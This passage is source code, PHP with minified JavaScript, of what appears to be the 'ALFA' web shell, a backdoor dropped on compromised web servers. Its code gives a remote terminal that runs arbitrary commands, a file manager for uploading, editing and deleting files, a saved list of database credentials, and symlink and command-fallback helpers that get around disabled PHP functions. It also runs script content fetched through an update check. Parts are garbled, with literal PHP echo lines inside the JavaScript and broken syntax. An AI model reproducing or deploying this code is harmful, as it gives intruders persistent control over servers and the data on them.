t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+='<a base_id="'+i+'" fname="'+t[s]+'" path="'+l+o+'" onclick="alfaOpenArchive(this);">'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows='<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+='<tr class="dbh_'+o+'"><th>'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\'alfaConnectToDb("'+o+'","'+a+'");\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\'alfaDeleteConnectToDb("'+o+"\");'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",'<div class="symlink_path" id="link_id_'+a+'">'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML='<img draggable="false" title="'+t.server.name+'" src="http://solevisible.com/images/flags/48/'+t.server.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML='<img draggable="false" title="'+t.client.name+'" src="http://solevisible.com/images/flags/48/'+t.client.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","echo $GLOBALS["cwd"];"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","echo $GLOBALS["cwd"];"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor('"+a+"','"+c+"','','','','file')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';");break;case"download":s.setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="echo $_SERVER["DOCUMENT_ROOT"];/",m=(c_+"/"+a).replace(/\/\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\/\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="'+l+'" id="filesman_tab_'+o+'" fm_id="'+o+'" onclick="filesmanTabController(this);" fname="'+t+'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">'+i+'</span> <img fm_id="'+o+'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",'<div style="position:relative;" fm_id="'+o+'" id="filesman_holder_'+o+'" class="ajaxarea"><div class="header"></div></div>'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\{version\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),echo $GLOBALS["need_to_update_header"];?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?'<span class="header_values" style="margin-left: 4px;">'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();
</script>
</body>
</html>
}}
if (!function_exists("posix_getpwuid") && (strpos(@ini_get('disable_functions'), 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos(@ini_get('disable_functions'), 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function alfaWhich($p) {
$path = alfaEx('which ' . $p,false,false);
if(!empty($path))
return strlen($path);
return false;
}
function alfaSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function alfaPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's​';
elseif (($p & 0xA000) == 0xA000)$i = 'l​';
elseif (($p & 0x8000) == 0x8000)$i = '-​';
elseif (($p & 0x6000) == 0x6000)$i = 'b​';
elseif (($p & 0x4000) == 0x4000)$i = 'd​';
elseif (($p & 0x2000) == 0x2000)$i = 'c​';
elseif (($p & 0x1000) == 0x1000)$i = 'p​';
else $i = 'u​';
$i .= (($p & 0x0100) ? 'r​' : '-');
$i .= (($p & 0x0080) ? 'w​' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's​' : 'x​' ) : (($p & 0x0800) ? 'S​' : '-'));
$i .= (($p & 0x0020) ? 'r​' : '-');
$i .= (($p & 0x0010) ? 'w​' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's​' : 'x​' ) : (($p & 0x0400) ? 'S​' : '-'));
$i .= (($p & 0x0004) ? 'r​' : '-');
$i .= (($p & 0x0002) ? 'w​' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't​' : 'x​' ) : (($p & 0x0200) ? 'T​' : '-'));
return $i;
}
function alfaPermsColor($f,$isbash=false){
$class = "";
$num = "";
$human = "";
if($isbash){
$class = $f["class"];
$num = $f["num"];
$human = $f["human"];
}else{
$num = substr(sprintf('%o', @fileperms($f)),-4);
$human = alfaPerms(@fileperms($f));
if(!@is_readable($f))
$class = "main_red_perm";
elseif (!@is_writable($f))
$class = "main_white_perm";
else
$class = "main_green_perm";
}
return '<span style="font-weight:unset;" class="'.$class.'">'.$num.'</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="'.$class.'">'.$human.'</span>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function reArrayFiles($file_post){
$file_ary = array();
$file_count = count($file_post['name']);
$file_keys = array_keys($file_post);
for ($i=0; $i<$file_count; $i++) {
foreach ($file_keys as $key) {
$file_ary[$i][$key] = $file_post[$key][$i];
}
}
return $file_ary;
}
function _alfa_can_runCommand($cgi=true,$cache=true){
if(isset($_COOKIE["alfa_canruncmd"])&&$cache){
return true;
}
if(strlen(alfaEx("whoami",false,$cgi))>0){
$_COOKIE["alfa_canruncmd"] = true;
return true;
}
return false;
}
function _alfa_symlink($target, $link){
$phpsym = function_exists("symlink");
if($phpsym){
@symlink($target, $link);
}else{
alfaEx("ln -s '".addslashes($target)."' '".addslashes($link)."'");
}
}
function _alfa_file_exists($file,$cgi=true){
if(@file_exists($file)){
return true;
}else{
if(strlen(alfaEx("ls -la '".addslashes($file)."'",false,$cgi))>0){
return true;
}
}
return false;
}
function _alfa_file($file,$cgi=true){
$array = @file($file);
if(!$array){
if(strlen(alfaEx("id",false,$cgi))>0){
$data = alfaEx('cat "'.addslashes($file).'"',false,$cgi);
if(strlen($data)>0){
return explode("\n", $data);
}else{
return false;
}
}else{
return false;
}
}else{
return $array;
}
}
function _alfa_is_writable($file){
$check = false;
$check = @is_writable($file);
if(!$check){
if(_alfa_can_runCommand()){
$check = alfaEx('[ -w "'.trim(addslashes($file)).'" ] && echo "yes" || echo "no"');
if($check == "yes"){
$check = true;
}else{
$check = false;
}
}
}
return $check;
}function _alfa_is_dir($dir,$mode="-d"){
$check = false;
$check = @is_dir($dir);
if($mode == "-e"){
$check = @is_file($dir);
}
if(!$check){
if(_alfa_can_runCommand()){
$check = alfaEx('[ "'.trim($mode).'" "'.trim(addslashes($dir)).'" ] && echo "yes" || echo "no"');
if($check == "yes"){
return true;
}else{
return false;
}
}
}
return $check;
}
function _alfa_load_ace_options($base){
return '<span>Theme: </span><select class="ace-controler ace-theme-selector" base="'.$base.'" onChange="alfaAceChangeSetting(this,\'theme\');"><option value="terminal" selected>terminal</option><option value="ambiance">ambiance</option><option value="chaos">chaos</option><option value="chrome">chrome</option><option value="clouds">clouds</option><option value="clouds_midnight">clouds_midnight</option><option value="cobalt">cobalt</option><option value="crimson_editor">crimson_editor</option><option value="dawn">dawn</option><option value="dracula">dracula</option><option value="dreamweaver">dreamweaver</option><option value="eclipse">eclipse</option><option value="github">github</option><option value="gob">gob</option><option value="gruvbox">gruvbox</option><option value="idle_fingers">idle_fingers</option><option value="iplastic">iplastic</option><option value="katzenmilch">katzenmilch</option><option value="kr_theme">kr_theme</option><option value="kuroir">kuroir</option><option value="merbivore">merbivore</option><option value="merbivore_soft">merbivore_soft</option><option value="mono_industrial">mono_industrial</option><option value="monokai">monokai</option><option value="nord_dark">nord_dark</option><option value="pastel_on_dark">pastel_on_dark</option><option value="solarized_dark">solarized_dark</option><option value="solarized_light">solarized_light</option><option value="sqlserver">sqlserver</option><option value="textmate">textmate</option><option value="tomorrow">tomorrow</option><option value="tomorrow_night">tomorrow_night</option><option value="tomorrow_night_blue">tomorrow_night_blue</option><option value="tomorrow_night_bright">tomorrow_night_bright</option><option value="tomorrow_night_eighties">tomorrow_night_eighties</option><option value="twilight">twilight</option><option value="vibrant_ink">vibrant_ink</option><option value="xcode">xcode</option></select><span>Language: </span><select class="ace-controler" base="'.$base.'" onChange="alfaAceChangeSetting(this,\'lang\');"><option value="php">php</option><option value="python">python</option><option value="perl">perl</option><option value="c_cpp">c/c++</option><option value="csharp">c#</option><option value="ruby">ruby</option><option value="html">html</option><option value="javascript">javascript</option><option value="css">css</option><option value="xml">xml</option><option value="sql">sql</option><option value="swift">swift</option><option value="sh">bash</option><option value="lua">lua</option><option value="powershell">powershell</option><option value="jsp">jsp</option><option value="java">java</option><option value="json">json</option><option value="plain_text">plain_text</option></select><span>Soft Wrap: </span><input type="checkbox" name="wrapmode" class="ace-controler" onClick="alfaAceChangeWrapMode(this,\''.$base.'\');" checked> | <span>Font Size: </span><button class="ace-controler" style="cursor:pointer;" onclick="alfaAceChangeFontSize(\''.$base.'\',\'+\', this);return false;">+</button> | <button style="cursor:pointer;" class="ace-controler" onclick="alfaAceChangeFontSize(\''.$base.'\', \'-\', this);return false;">-</button> | ';
}
function alfaFilesMan2(){
alfahead();
AlfaNum(8,9,10,7,6,5,4);
echo '<div style="position:relative;" fm_id="1" id="filesman_holder_1" class="ajaxarea filesman-active-content"><div class="header"></div></div>';
alfaFooter();
}
function copy_paste($c,$s,$d){
if(@is_dir($c.$s)){
@mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ) and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
function alfaFilesMan(){
if(!empty ($_COOKIE['alfa_f']))
$_COOKIE['alfa_f'] = @unserialize($_COOKIE['alfa_f']);
if(!empty($_POST['alfa1'])){
switch($_POST['alfa1']){
case 'uploadFile':
$move_cmd_file = false;
$alfa_canruncmd = false;
if($GLOBALS['glob_chdir_false']){
$alfa_canruncmd = _alfa_can_runCommand(true,true);
$move_cmd_file = true;
}
if(_alfa_is_writable($GLOBALS['cwd'])){
$files = reArrayFiles($_FILES['f']);
$ret_files = array();
foreach($files as $file){
if($move_cmd_file&&$alfa_canruncmd){
alfaEx("cat '".addslashes($file['tmp_name'])."' > '".addslashes($_POST["c"]."/".$file['name'])."'");
}else{
if(@move_uploaded_file($file['tmp_name'],$file['name'])){
$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($file['name'])):array("name" => "????");
$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($file['name'])):array("name" => "????");
$file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($file['name']):"????");
$file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($file['name']):"????");
$file_modify = @date('Y-m-d H:i:s', @filemtime($file['name']));
$file_perm = alfaPermsColor($file['name']);
$file_size = @filesize($file['name']);
$ret_files[] = array("name" => $file['name'], "size" => alfaSize($file_size), "perm" => $file_perm, "modify" => $file_modify, "owner" => $file_owner."/".$file_group);
}
}
}
if(!$move_cmd_file){
echo json_encode($ret_files);
}
}else{
echo "noperm";
return;
}
if(!$move_cmd_file){
return;
}
break;
case 'mkdir':
$new_dir_cmd = false;
if($GLOBALS['glob_chdir_false']){
if(_alfa_can_runCommand(true,true)){
if(_alfa_is_writable($GLOBALS['cwd'])){
if(!_alfa_is_dir(trim($_POST['alfa2']))){
alfaEx("cd '".trim(addslashes($_POST['c']))."';mkdir '".trim(addslashes($_POST['alfa2']))."'");
echo "<script>alfaShowNotification('".addslashes($_POST['alfa2'])." created...', 'Files manager');</script>";
}else{
echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
}
}else{
echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
}
}else{
echo "<script>alfaShowNotification('Can\'t create new dir !', 'Files manager', 'error');</script>";
}
}else{
if(_alfa_is_writable($GLOBALS['cwd'])){
if(!_alfa_is_dir(trim($_POST['alfa2']))){
if(!@mkdir(trim($_POST['alfa2']))){
echo "<script>alfaShowNotification('Can\'t create new dir !', 'Files manager', 'error');</script>";
}else{
echo "<script>alfaShowNotification('".addslashes($_POST['alfa2'])." created...', 'Files manager');</script>";
}
}else{
echo "<script>alfaShowNotification('folder already existed', 'Files manager', 'error');</script>";
}
}else{
echo "<script>alfaShowNotification('folder isnt writable !', 'Files manager', 'error');</script>";
}
}
break;
case 'delete':
function deleteDir($path){
$path = (substr($path,-1)=='/') ? $path:$path.'/';
